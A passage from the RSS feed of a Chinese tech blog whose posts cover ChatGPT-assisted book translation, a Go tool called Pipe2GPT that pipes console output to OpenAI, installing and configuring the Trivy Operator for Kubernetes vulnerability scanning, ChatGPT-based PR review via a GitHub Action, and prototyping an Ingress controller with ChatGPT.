&lt;/blockquote&gt;

&lt;p&gt;最近一直在看《Team Topologies》这本书，奈何我的英语水平比我的时间还有限，突然想起 &lt;a href=&#34;https://twitter.com/yihong0618&#34; target=&#34;_blank&#34;&gt;@yihong0618&lt;/a&gt; 的项目 &lt;a href=&#34;https://github.com/yihong0618/bilingual_book_maker&#34; target=&#34;_blank&#34;&gt;bilingual_book_maker&lt;/a&gt;，于是用了起来，使用 GPT 3.5 API，大概三个多小时，epub 就变成了一本中英同屏的读物了。如下图：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/sample-book-page.png&#34; alt=&#34;sample page&#34; /&gt;&lt;/p&gt;

&lt;p&gt;老实说翻译效果麻麻地，能看，好在是留着英文对照，倒也不会太影响阅读，推测是因为逐段翻译缺乏上下文支持造成的。&lt;/p&gt;

&lt;h3 id=&#34;给自己请个运维专家&#34;&gt;给自己请个运维专家&lt;/h3&gt;

&lt;p&gt;这是之前公众号文章中提到的 Pipe2GPT 项目，一个没头没脑的 Prompt：&lt;code&gt;作为一个 IT 领域的专家，对于这段输出你有什么看法？我应该采取什么措施？&lt;/code&gt;，不管在控制台看到什么输出、或者日志，都用管道发给 ChatGPT，目前看来，知名软件的输出内容都能够得到具备一定可操作性的结果。&lt;/p&gt;

&lt;h2 id=&#34;所以我想说啥&#34;&gt;所以我想说啥&lt;/h2&gt;

&lt;h3 id=&#34;本领域知识依旧不可或缺&#34;&gt;本领域知识依旧不可或缺&lt;/h3&gt;

&lt;p&gt;不论是翻译、出图、编程还是辅助创作等等，应该说都惊喜有余，可信不足的。例如&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;多次在利用 ChatGPT 生成代码时，出现错误的 API 地址、错误的数据结构等。AI 写代码，开发工作变成调试工作，效率不见得一定会提升。&lt;/li&gt;
&lt;li&gt;整书翻译过程中，因为上下文长度限制，会有较多的错误结果。&lt;/li&gt;
&lt;li&gt;出图跟编码差不多，修修补补的能力也还是要有的。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;综上，毫无疑问地，ChatGPT、Midjourney 等的确能够快速出活，然而要达到交付要求，还是需要有碳基人坐镇本领域，才能达成生产级别的目标。&lt;/p&gt;

&lt;h3 id=&#34;技术又解放了&#34;&gt;技术又解放了&lt;/h3&gt;

&lt;p&gt;其实最近给自己写着玩的东西远不止这些，尤其是结合 LangChain 之后，很多以前看似需要“思考”的东西，现在都可以通过一些零碎代码和零钱来解决了。如果有一点 Python 入门的开发和调试能力，结合 Copilot 或者 ChatGPT 这样的工具，就能够完成很多可用的东西了。正如我前一阵朋友圈吐槽说的——对“知其所以然”的需求，再一次被降低了。就像前面几个例子，虽然被朋友耻笑说&lt;code&gt;这种不算个东西，上不得台面&lt;/code&gt;，但是的确解决了&lt;strong&gt;自己&lt;/strong&gt;的问题，像生物信息等严重依赖编程的非 CS 专业来说，有了这些新东西的帮助，应该能大大降低工作难度，提高工作效率。&lt;/p&gt;

&lt;h3 id=&#34;一大波新思路正在接近&#34;&gt;一大波新思路正在接近&lt;/h3&gt;

&lt;p&gt;用前面提到的 &lt;code&gt;bilingual_book_maker&lt;/code&gt; 项目来说，究其本质，其实跟 ChatGPT 并没有很多关系，它只是将 ChatGPT 作为一个跟 Deepl API 等价的可选插件而已，当然这里并没有贬低这个项目的意思，相反地，这个项目给我的思考是——AIGC 的热潮，促使我们对很多传统 IT 领域进行新的审视，简单说又可以翻大饼了。这似乎是第一次，人工智能用这样触手可及的方式深入到各个领域，大概是堪比个人电脑进入家庭一样一股浪潮，除了对各种 IT 非 IT 领域的直接促进之外，应该也会促使对更多问题的深入思考——例如 HR 大概在思考的：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;程序员应该裁掉多少？&lt;/li&gt;
&lt;li&gt;实习律师留三成还是五成？&lt;/li&gt;
&lt;li&gt;Prompt 技能要写到 JD 里面吗？怎么考核呢？&lt;/li&gt;
&lt;li&gt;&amp;hellip;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;每个人-组织都需要自己的垂类-ai-支持&#34;&gt;每个人/组织都需要自己的垂类 AI 支持&lt;/h3&gt;

&lt;p&gt;众所周知，ChatGPT 一直在嚷嚷他的数据来源仅限于 2021 年之前，以及 Token 数量的限制等（ps，很奇怪，我只申请到了 ChatGPT，一直没机会使用其它几个大模型），导致面对一些垂类或者一些非公开上下文的时候束手无策，因此不论是私有模型还是其它手段，总要有某种方法来支撑这些更加贴近业务目标的需求。&lt;/p&gt;

&lt;h3 id=&#34;安全隐私要出大问题&#34;&gt;安全隐私要出大问题&lt;/h3&gt;

&lt;p&gt;ChatGPT 在很多非结构化内容的处理上都有令人有点满意的效果，例如用来审视合同、润色文字作品、撰写周报、评估简历等等。其实很难抵抗把自家材料提交给 ChatGPT 的冲动，最终面对安全隐私部门的惩处，对吧？&lt;/p&gt;

&lt;p&gt;更有意思的是，市面上有非常多的 ChatGPT 以及其他 AIGC 平台的代理，甚至已经有了分销和盈利的运作模式，放胆设想一下，一个野生 AIGC 代理，能拿到多少不为人知的大小秘密？&lt;/p&gt;

&lt;h2 id=&#34;编不下去了&#34;&gt;编不下去了&lt;/h2&gt;

&lt;p&gt;一次喝酒时，曹老板还在笑我：这个 AI 怀疑论者买了 Copilot（甚至 Copilot 怎么读都不知道）。现在我倒是经常在琢磨如何做好一个 AIGC 带路党的事情，可惜脑容量有限，一直没头苍蝇一样四处乱撞。接着航班大延误的机会，随便把这些零碎思考记录下来吧。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>ChatGPT 和我写了个小工具：Pipe2GPT</title>
      <link>/post/intro-pipe2gpt/</link>
      <pubDate>Sat, 25 Mar 2023 01:57:17 +0800</pubDate>
      <guid>/post/intro-pipe2gpt/</guid>
      <description>

&lt;p&gt;开通了尊贵的 ChatGPT Plus 之后，在平时做些控制台操作的时候，就多了个习惯——把各种控制台内容投喂给 ChatGPT，看他如何反馈。结果还是不错的，经过适当的 Prompt 设计，ChatGPT 不但能够读懂这些输出内容，更可以提供进一步排查或者解决问题的建议。&lt;/p&gt;

&lt;p&gt;懒惰是进步的动力——我连拷贝黏贴都懒了，还是想 ChatGPT 帮我写个小工具吧。按照官方客户端情况来说，Python 才是一等公民，然而为了方便分发，而且不是自己动手，我选择了高大上的 Golang。&lt;/p&gt;

&lt;h2 id=&#34;实现思路&#34;&gt;实现思路&lt;/h2&gt;

&lt;p&gt;其实起初我是想模仿 &lt;code&gt;kubectl&lt;/code&gt;，用 krew 插件的形式写个 gpt-diag 子命令，例如 &lt;code&gt;kubectl gpt-diag pod xxxx&lt;/code&gt;，直接将 Describe Pod 内容输出，结合一个关于诊断 Kubernetes Pod 信息的 Prompt 来对某种对象，于是我让 ChatGPT 使用 Cobra 给我生成一个这样的框架。有趣的是，生成途中，它根据我提供的这些对象名称，自动给这个程序加了个简介——一个 Kubernetes 检查工具。&lt;/p&gt;

&lt;p&gt;命令行代码生成之后，要求它用接口、类的方式来定义各种检测行为，这里包含了 Pod、Node、Event、API Server、ETCD 等在 kubectl 命令中能够拿到输出的内容，每个类都有自己的 Prompt，利用 Kubernetes 获取信息，OpenAI Client 进行解答。&lt;/p&gt;

&lt;p&gt;在这之后，我意识到一个问题：&lt;strong&gt;这玩法太传统了，我压根不需要替 ChatGPT 做这种前期工作&lt;/strong&gt;，于是我删掉了这套代码，另起炉灶。&lt;/p&gt;

&lt;p&gt;所以以下的工作步骤就四班顺滑了：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;要求 ChatGPT 输出 Shell 脚本，用来初始化一个 Golang CLI 应用的目录结构。然后用 Goland 打开。&lt;/li&gt;
&lt;li&gt;ChatGPT 生成代码，读取环境变量中的 OpenAI API Key&lt;/li&gt;
&lt;li&gt;加入一个配置文件，要求 ChatGPT 判断命令行参数，根据 JSON 格式，生成代码&lt;/li&gt;
&lt;li&gt;继续生成代码，从管道读取输入，加入 Prompt，调用 OpenAI。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;说起来还是比较辛苦的，实际上这些功能在 ChatGPT 4.0 中一个 Prompt 就差不多搞定了：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;用 golang 编写一个 CLI 应用，它带有一个配置文件，格式如下：
{
&amp;ldquo;data&amp;rdquo;:{&amp;ldquo;k8s&amp;rdquo;: &amp;ldquo;简明扼要地用 Kubernetes 专家的身份判断一下这段输出有什&amp;gt; 么问题，要整齐列出问题对象和可能原因以及操作建议：&amp;rdquo;}
}
这个命令行接受 &amp;ndash;type 参数，参数值就是配置文件中的 &lt;code&gt;data.[key]&lt;/code&gt;。
另外这个命令还要从环境变量中读取 OPENAI_APIKEY
运行时，这个工具从管道接收其它应用输出的内容，根据从配置文件中取得的值作为 &amp;gt; Prompt，调用 OpenAI 的 API，获得反馈内容。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;我这里测试的时候，只有模型选择不太合适，其它都可以直接进行调试。&lt;/p&gt;

&lt;p&gt;生成代码之后，Debug 一下下，基本就 OK 了。&lt;/p&gt;

&lt;p&gt;接下来又让他生成了双语版本的 README.md。以及一个用于 golang 交叉构建的 GitHub Action。&lt;/p&gt;

&lt;p&gt;最后，这个非人产生的项目保存在了 &lt;code&gt;https://github.com/fleeto/pipe2gpt&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;运行效果大致如下：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/shot.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;接下来我可能会在项目 README.md 里面写一句：&lt;strong&gt;本 REPO 仅接受 AI 生成代码，人工勿入，面斥不雅&lt;/strong&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>持续监控集群中的镜像漏洞——Trivy Operator 简介</title>
      <link>/post/intro-trivy-operator/</link>
      <pubDate>Sun, 19 Mar 2023 20:03:17 +0800</pubDate>
      <guid>/post/intro-trivy-operator/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;在本文中，我们将介绍 Trivy Operator，一款用于持续监控 Kubernetes 集群中的容器镜像漏洞的工具。我们将从 Trivy Operator 的简介开始，接着介绍如何安装和配置，最后探讨漏洞扫描与呈现，以及其他补充功能。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;引言&#34;&gt;引言&lt;/h2&gt;

&lt;p&gt;当下，容器技术已成为企业构建和部署应用的关键组成部分。然而，容器镜像可能会携带软件漏洞，这些漏洞可能导致应用和数据面临安全风险。为了确保 Kubernetes 集群在运行时的持续安全，就需要自动对运行中的容器镜像进行扫描的工具。&lt;/p&gt;

&lt;p&gt;很早以前曾经使用 Shell Operator 结合 Trivy 编写了一个小工具，对运行中的镜像进行扫描，然后把扫描结果用 Prometheus 的方式进行输出。&lt;/p&gt;

&lt;p&gt;接下来将要介绍的 Trivy-Operator，是一个来自 Aqua 的开源工具，可以自动扫描容器镜像中已知的漏洞，并用最佳实践对 Kubernetes 资源进行验证，从而提高 Kubernetes 集群的运行时安全性。它易于安装，可以顺利地集成到监控系统中；更借助Kubernetes Operator 技术响应集群上的工作负载和其他更改，自动更新安全报告资源。Trivy-Operator 能够显著加强 Kubernetes 集群的安全性，保护其中的应用程序免受潜在威胁。&lt;/p&gt;

&lt;h2 id=&#34;简介&#34;&gt;简介&lt;/h2&gt;

&lt;p&gt;在深入了解 Trivy-Operator 的使用方法之前，先简单交代一下它的大致功能：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;漏洞扫描：Trivy-Operator 基于 Trivy 扫描器，对容器镜像进行全面扫描，识别其中的已知漏洞。这有助于及时发现并修复潜在的安全隐患，保护您的应用程序免受攻击。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Kubernetes 资源验证：通过与 Kubernetes API 的集成，Trivy-Operator 可以自动验证 Kubernetes 资源的配置，确保遵循安全性最佳实践。这样可以避免因配置错误导致的安全风险。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;持续监控与报告：Trivy-Operator 自动更新安全报告资源，以响应 Kubernetes 集群上的工作负载和其他更改。这意味着它可以在创建新 Pod 时启动漏洞扫描和配置审核，然后更新扫描报告。这有助于实时了解集群安全状况，及时采取相应措施。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Prometheus 集成：Trivy-Operator 提供 Prometheus 指标端点，使其可以与现有的监控基础设施集成。通过Prometheus，用户可以收集和分析 Trivy-Operator 的指标数据，实现对集群安全的实时监控。通过 Prometheus 之后，还可以和 Grafana、Alert-manager 等联动，进一步提高集群的透明度和可运维性。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;

&lt;p&gt;可以通过三种方式安装和部署 Trivy Operator，YAML、Helm 和 OLM。&lt;/p&gt;

&lt;h3 id=&#34;yaml&#34;&gt;YAML&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl apply -f \
https://raw.githubusercontent.com/aquasecurity/trivy-operator/v0.12.1/deploy/static/trivy-operator.yaml

customresourcedefinition.apiextensions.k8s.io/clustercompliancereports.aquasecurity.github.io created
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，这里创建了几个 CRD，都是以 &lt;code&gt;reports&lt;/code&gt; 结尾的，看来都是各种报告，大概几个字面意思：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;infraassessmentreports，clusterinfraassessmentreports：基础设施评估报告，包括 Kubernetes 核心组件的配置内容&lt;/li&gt;
&lt;li&gt;vulnerabilityreports：漏洞报告&lt;/li&gt;
&lt;li&gt;configauditreports、clusterconfigauditreports：配置审计报告&lt;/li&gt;
&lt;li&gt;exposedsecretreports：Secret 报告&lt;/li&gt;
&lt;li&gt;clusterrbacassessmentreports/rbacassessmentreports：RBAC 评估报告&lt;/li&gt;
&lt;li&gt;clusterrbacassessmentreports：集群 RBAC 评估报告&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;另外还生成了一个叫做 &lt;code&gt;trivy-operator&lt;/code&gt; 的 ServiceAccount，可以查看一下它的权限：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl rolesum trivy-operator
ServiceAccount: trivy-system/trivy-operator
...
Policies:
...
• [CRB] */trivy-operator ⟶  [CR] */trivy-operator
  Resource                                                Name  Exclude  Verbs  G L W C U P D DC
  clustercompliancedetailreports.aquasecurity.github.io   [*]     [-]     [-]   ✔ ✔ ✔ ✔ ✔ ✔ ✔ ✖
  clustercompliancereports.aquasecurity.github.io         [*]     [-]     [-]   ✔ ✔ ✔ ✔ ✔ ✔ ✔ ✖
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;这里用到了 kubectl 的 &lt;a href=&#34;https://github.com/Ladicle/kubectl-rolesum&#34; target=&#34;_blank&#34;&gt;rolesum 插件&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;可以看到，它从 &lt;code&gt;trivy-operator&lt;/code&gt; 这个 &lt;code&gt;ClusterRole&lt;/code&gt; 继承了大量权限，除了前面提到的 CR 之外，还包括了对 Pod、Configmap 等的读取权限，据此可以判断他的工作范围。&lt;/p&gt;

&lt;h3 id=&#34;helm&#34;&gt;Helm&lt;/h3&gt;

&lt;p&gt;这个安装也比较简单，首先加入 Aqua 的仓库：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ helm repo add aqua https://aquasecurity.github.io/helm-charts/
helm repo add aqua https://aquasecurity.github.io/helm-charts
&amp;quot;aqua&amp;quot; has been added to your repositories
$ helm repo update
...
$ helm install trivy-operator aqua/trivy-operator \
  --namespace trivy-system \
  --create-namespace \
  --set=&amp;quot;trivy.ignoreUnfixed=true&amp;quot; \
  --version 0.12.1
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以用 &lt;code&gt;helm show values aqua/trivy-operator&lt;/code&gt; 看看其中包含的丰富配置。后面也会进行一点讲解。&lt;/p&gt;

&lt;h3 id=&#34;operator-lifecycle-manager&#34;&gt;Operator Lifecycle Manager&lt;/h3&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/operator-framework/operator-lifecycle-manager/&#34; target=&#34;_blank&#34;&gt;OLM&lt;/a&gt;这是一种专门用于维护 Operator 生命周期的方式。这里暂时不做更多介绍。具体安装方式可以参照&lt;a href=&#34;https://aquasecurity.github.io/trivy-operator/v0.12.1/getting-started/installation/olm/&#34; target=&#34;_blank&#34;&gt;官方文档&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;配置&#34;&gt;配置&lt;/h2&gt;

&lt;p&gt;Operator Pod（&lt;code&gt;trivy-operator-&lt;/code&gt;）支持很多环境变量用于其行为配置，下面列出一些关键内容：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;OPERATOR_EXCLUDE_NAMESPACES&lt;/code&gt;：排除命名空间&lt;/li&gt;
&lt;li&gt;&lt;code&gt;OPERATOR_VULNERABILITY_SCANNER_ENABLED&lt;/code&gt;：启用漏洞扫描&lt;/li&gt;
&lt;li&gt;&lt;code&gt;OPERATOR_CONFIG_AUDIT_SCANNER_ENABLED&lt;/code&gt;：启用配置审计&lt;/li&gt;
&lt;li&gt;&lt;code&gt;OPERATOR_RBAC_ASSESSMENT_SCANNER_ENABLED&lt;/code&gt;：启用 RBAC 扫描&lt;/li&gt;
&lt;li&gt;&lt;code&gt;OPERATOR_CONFIG_AUDIT_SCANNER_BUILTIN&lt;/code&gt;：启用内置的配置扫描引擎&lt;/li&gt;
&lt;li&gt;&lt;code&gt;OPERATOR_WEBHOOK_BROADCAST_URL&lt;/code&gt;：Webhook 地址，置空则禁用该功能&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;另外，同一个命名空间内还有一个 Configmap，内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
data:
  trivy.additionalVulnerabilityReportFields: &amp;quot;&amp;quot;
  trivy.command: image
  trivy.dbRepository: ghcr.io/aquasecurity/trivy-db
  trivy.dbRepositoryInsecure: &amp;quot;false&amp;quot;
  trivy.mode: Standalone
  trivy.repository: ghcr.io/aquasecurity/trivy
  trivy.resources.limits.cpu: 500m
  trivy.resources.limits.memory: 500M
  trivy.resources.requests.cpu: 100m
  trivy.resources.requests.memory: 100M
  trivy.severity: UNKNOWN,LOW,MEDIUM,HIGH,CRITICAL
  trivy.slow: &amp;quot;true&amp;quot;
  trivy.supportedConfigAuditKinds: Workload,Service,Role,ClusterRole,NetworkPolicy,Ingress,LimitRange,ResourceQuota
  trivy.tag: 0.38.2
  trivy.timeout: 5m0s
  trivy.useBuiltinRegoPolicies: &amp;quot;true&amp;quot;
kind: ConfigMap
metadata:
  annotations:
    ...
  name: trivy-operator-trivy-config
  namespace: trivy-system
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;其中的内容，熟悉 Trivy 扫描器的读者应该很容易看得出来——这里基本定义了最常用的几个 Trivy 开关。另外根据官网看来，还可以使用 &lt;code&gt;trivy-operator-trivy-config&lt;/code&gt; Secret 的 &lt;code&gt;data.trivy.githubToken&lt;/code&gt; 来设置用于抓取 Trivy 特征库的 Github Token。&lt;/p&gt;

&lt;h2 id=&#34;漏洞扫描和呈现&#34;&gt;漏洞扫描和呈现&lt;/h2&gt;

&lt;p&gt;事实上，Trivy Operator 部署之后直接就会启动扫描，生成漏洞报告（vulnerabilityreports）以及 RBAC 报告（rbacassessment），可以使用 &lt;code&gt;kubectl get xx yy-o wide&lt;/code&gt;，或者 &lt;code&gt;kubectl descrbe xx yy&lt;/code&gt; 来查看具体内容。例如漏洞报告显示各级别问题都是 &lt;code&gt;0&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;新建一个工作负载，例如 &lt;code&gt;kubectl create deployment nginx --image nginx:1.16&lt;/code&gt;，创建之后，会发现马上出现一个 &lt;code&gt;scan-vulnerabilityreport-*&lt;/code&gt; 的 Pod 启动了，在它完成任务消失之后，我们会看到 &lt;code&gt;vulns&lt;/code&gt; 多了一条针对  &lt;code&gt;nginx:1.16&lt;/code&gt; 镜像的记录，其中包含高中低各种级别的漏洞若干。&lt;/p&gt;

&lt;p&gt;另外还新出现了一个名为 &lt;code&gt;replicaset-nginx-XXX&lt;/code&gt; 的 &lt;code&gt;ConfigAuditReport&lt;/code&gt; 对象，其中包含了对这个 RS 的审计内容，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;  - category: Kubernetes Security Check
    checkID: KSV015
    description: When containers have resource requests specified, the scheduler can
      make better decisions about which nodes to place pods on, and how to deal with
      resource contention.
    messages:
    - Container &#39;nginx&#39; of ReplicaSet &#39;nginx-54f8f9f495&#39; should set &#39;resources.requests.cpu&#39;
    severity: LOW
    success: false
    title: CPU requests not specified
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这些基本内容都可以通过 Prometheus 监控栈进行监控，并可通过 Grafana &lt;a href=&#34;https://github.com/dotdc/grafana-dashboards-kubernetes/blob/master/dashboards/trivy&#34; target=&#34;_blank&#34;&gt;Dashboard&lt;/a&gt; 进行可视化呈现；或者用 Alert Manager 以及 Webhook 进行告警。&lt;/p&gt;

&lt;h2 id=&#34;补充&#34;&gt;补充&lt;/h2&gt;

&lt;p&gt;其实除了 YAML 和镜像漏洞的检查之外，这个 Operator 还定义了多种合规性、安全基线方面的内容，并可以通过 REGO 语言进行自定义的基线检查。虽然多数功能还处于非正式版本，但这是一个合理的方向———对集群安全，要进行可视化的、持续的审视，而不是。。我不说了。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>用 ChatGPT 评审 PR</title>
      <link>/post/pr-review-with-chatgpt/</link>
      <pubDate>Wed, 15 Mar 2023 11:33:55 +0800</pubDate>
      <guid>/post/pr-review-with-chatgpt/</guid>
      <description>&lt;p&gt;前些天写了个脚本，用 ChatGPT 给 FloMesh 的 Pipy 项目做了个代码评审，生成的结果还挺有意思的，例如下面这段结果：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;评价：

1. 代码没有明确的介绍具体的功能和作用，缺乏注释和文档说明。
2. 使用了一些不必要的注释，如版权声明和许可条款，应该将这些内容放入独立的文档中。
3. 引用了一些外部库文件，在没有说明的情况下建议在头文件中添加相关介绍。
4. 没有遵循统一的命名规范，建议遵循某种命名规范，如 Google C++ Style Guide。
5. 代码风格和排版统一，清晰易读。

改进意见：


#ifndef THREAD_HPP
#define THREAD_HPP

#include &amp;quot;pjs/pjs.hpp&amp;quot;
#include &amp;quot;worker-thread.hpp&amp;quot;

namespace pipy {

// 在代码开头添加注释，介绍文件的作用和功能
// ...

// 添加版本信息或其他相关说明
// ...

// 可以将所有依赖的外部库文件进行汇总说明
// ...

// 建议统一的命名规范，如使用 Google C++ Style Guide。
class Thread : public pjs::ObjectTemplate&amp;lt;Thread&amp;gt; {
public:
  // 在函数上添加注释，说明函数的功能和参数含义
  auto index() const -&amp;gt; int { return m_worker_thread-&amp;gt;index(); }

private:
  // 在变量上添加注释，说明变量的作用和类型
  Thread(WorkerThread *worker_thread) : m_worker_thread(worker_thread) {}

  WorkerThread* m_worker_thread;

  friend class pjs::ObjectTemplate&amp;lt;Thread&amp;gt;;
};

} // namespace pipy

// 添加结尾注释
// ...

// 推荐加上 #endif 前的空格
#endif // THREAD_HPP

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;自然而然就产生了个想法——如果项目每个 PR 都能这样自动 Review 一下岂不妙哉？结果——好点子总会有人比你先想到，已经有人编写了一个 Github Action 了，于是试用了一下，记录一下这个试用过程。&lt;/p&gt;

&lt;p&gt;首先在目标项目的设置中加入 OpenAI 的 API_KEY，也就是在项目的 Settings-&amp;gt;Security-&amp;gt;Secrets and variables-&amp;gt;Actions 菜单中，加入 Repository Secret，Key 设置为 &lt;code&gt;OPENAI_API_KEY&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;接下来，在 Github Action 中加入如下代码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;name: Code Review

permissions:
  contents: read
  pull-requests: write

on:
  pull_request:
    types: [opened, reopened]

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: anc95/ChatGPT-CodeReview@v1
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
          LANGUAGE: Chinese
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面代码尝试在创建 PR 时候对变更内容进行评审动作。&lt;/p&gt;

&lt;p&gt;我们尝试给项目新建一个 PR，其中包含一段新的输出代码，并删除了一行注释，结果收到了如下的评审记录：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/review1.png&#34; alt=&#34;Review 1&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/review2.png&#34; alt=&#34;Review 2&#34; /&gt;&lt;/p&gt;

&lt;p&gt;从结果看来，ChatGPT 对 PR 的目的进行了识别，并给出了讲解和建议。不过前面 Action 定义的语言并没有生效，应该后续还会有提升空间——或者用这个思路再做一个也是不错的想法。&lt;/p&gt;

&lt;p&gt;另外，受到 Token 上限的影响，代码文件只能接受 4K 以下的文件，传说新的 GPT 4.0 API 能够支持更大的 Token 上限，也许就能支持更大的代码文件了。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>用 ChatGPT 写了一点代码</title>
      <link>/post/write-ingress-watcher-with-chatgpt/</link>
      <pubDate>Sun, 19 Feb 2023 21:14:35 +0800</pubDate>
      <guid>/post/write-ingress-watcher-with-chatgpt/</guid>
      <description>

&lt;p&gt;ChatGPT 发布之后，一直在半真半假的用着：有时候写一些代码片段，例如让他用 Python、Rust 分别帮我写一点方法级别的代码；有时候会跟他“探讨”一些问题——是的你没看错，真的是探讨一些问题，例如刚刚我跟他探讨了一下 SRE、DevOps 和平台工程的区别、联系和发展情况。总的说来，如果不求输出成品，那效果还是相当不错的，至少触发灵感是没问题的。&lt;/p&gt;

&lt;p&gt;前些天跟蔡书夸下海口，用 ChatGPT 也能给 PP 写个 Ingress 控制器来，奈何俗务缠身，一直也没能完成，今天抽出两个小时，总算完成了一个 Ingress 监听的原型代码。大体过程讲解一下。&lt;/p&gt;

&lt;p&gt;我的第一个 Prompt：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;我想用循序渐进的方式逐步用 Golang 开发一个 Ingress 控制器，我想到的步骤包括：

1. 创建目录布局 
2. 编写第一个可执行的控制台应用的圆形，并完成构建和测试运行 
3. 在这个原型基础上，加入连接 Kubernetes 集群的能力，同样完成构建和运行 
4. 加入 Watch Ingress 对象的能力。并在 Ingress 发生变化的时候输出提示信息。
首先我们完成第一个步骤，使用 shell 命令创建对应的目录结构。

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;是的，你没看错，我连目录结构都让他给我创建。ChatGPT 的回复很不错——必须很不错，这个太简单了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;mkdir -p my-ingress-controller/cmd/my-ingress-controller
mkdir -p my-ingress-controller/pkg/ingress
mkdir -p my-ingress-controller/pkg/kube
touch my-ingress-controller/cmd/my-ingress-controller/main.go
touch my-ingress-controller/pkg/ingress/ingress.go
touch my-ingress-controller/pkg/kube/kube.go
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;并且给出了解释：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;这将创建一个名为 &lt;code&gt;my-ingress-controller&lt;/code&gt; 的目录，并在其中创建 &lt;code&gt;cmd&lt;/code&gt; 和 &lt;code&gt;pkg&lt;/code&gt; 目录，分别用于存放主应用程序和包。此外，我们在 &lt;code&gt;cmd/my-ingress-controller&lt;/code&gt; 目录中创建了 &lt;code&gt;main.go&lt;/code&gt; 文件，用于编写第一个可执行的控制台应用程序的圆形；在 &lt;code&gt;pkg/ingress&lt;/code&gt; 和 &lt;code&gt;pkg/kube&lt;/code&gt; 目录中，分别创建了 &lt;code&gt;ingress.go&lt;/code&gt; 和 &lt;code&gt;kube.go&lt;/code&gt; 文件，用于存放后续的代码。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;我照章办事执行之后，当然生成了对应的目录和文件，接下来我给出第二个 Prompt：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;然后完成第二步骤，完成一个可执行的控制台应用的圆形。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;ChatGPT 给出了经典的 Hello World 代码，填充了 &lt;code&gt;my-ingress-controller/cmd/my-ingress-controller/main.go&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;package main

import (
    &amp;quot;fmt&amp;quot;
)

func main() {
    fmt.Println(&amp;quot;Hello, Ingress!&amp;quot;)
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接着他解释了代码的作用，提示使用 &lt;code&gt;go build -o my-ingress-controller ./cmd/my-ingress-controller&lt;/code&gt; 命令进行构建。&lt;/p&gt;

&lt;p&gt;对此我的回复是&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;go build 执行失败了，返回信息“go: go.mod file not found in current directory or any parent directory; see &#39;go help modules&#39;”&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;ChatGPT 回应大意是：&lt;/p&gt;

&lt;blockquote&gt;
&lt;ol&gt;
